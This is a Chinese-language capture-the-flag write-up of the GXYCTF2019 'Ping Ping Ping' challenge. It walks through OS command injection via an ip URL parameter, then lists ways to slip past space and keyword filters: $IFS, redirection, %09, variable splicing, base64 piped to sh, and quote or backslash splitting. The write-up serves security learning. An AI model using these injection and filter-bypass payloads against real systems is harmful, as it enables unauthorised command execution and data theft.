1. 程式人生 > 實用技巧 >[GXYCTF2019]Ping Ping Ping

[GXYCTF2019]Ping Ping Ping

0x00

開啟網頁

我們去訪問一下/?ip=127.0.0.1,結果得到如下

發現返回的結果這不是執行了ping命令嗎,猜測這裡存在命令執行,我們繼續執行如下payload:

/?ip=127.0.0.1|ifconfig
## |無論第一個命令是否正確執行都將執行下一個命令
## &第一個命令執行失敗則不執行第二個命令


果然存在命令執行漏洞,接下來我們執行如下payload:

/?ip=127.0.0.1|ls


我們驚訝的發現了flag.php,直接去訪問一下,結果得到了空白網頁,我就知道不會這麼簡單
我們還可以通過命令去獲取flag.php裡面的內容,執行如下payload:

/?ip=127.0.0.1|cat flag.php


發現空格被過濾了,繞過空格我們可以使用如下payload:

/?ip=127.0.0.1|cat$IFS$1flag.php


結果發現flag關鍵字也被過濾了,我們可以通過編碼的形式去繞過,執行如下payload:

/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash


太坑了bash也被過濾了,那我們可以使用sh,執行如下payload:

/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh


這回沒有被過濾,但是什麼都沒返回,突然想起來flag在flag.php中也許是被當作程式碼註釋了,於是檢視網站原始碼

得到了flag

0x01

這裡在普通命令執行的基礎上主要考查的是繞過
空格繞過:

${IFS}
- cat${IFS}flag
- cat${IFS}$1flag
- cat$IFS$1flag
重定向符<>
- cat<>flag
- cat<flag
%09(需要php環境)
-cat%09flag

黑名單繞過:

拼接
a=c;b=at;c=fl;d=ag;$a$b $c$d
base64編碼
- echo "Y2F0IGZsYWc="|base64 -d|bash
- `echo "Y2F0IGZsYWc="|base64 -d`
單引號、雙引號
c""at fl''ag
反斜線
c\at fl\ag
$1、$2等和$@
c$1at [email protected]

以上所有的繞過方法都是參考如下這位大佬寫的文章

https://www.ghtwf01.cn/index.php/archives/273/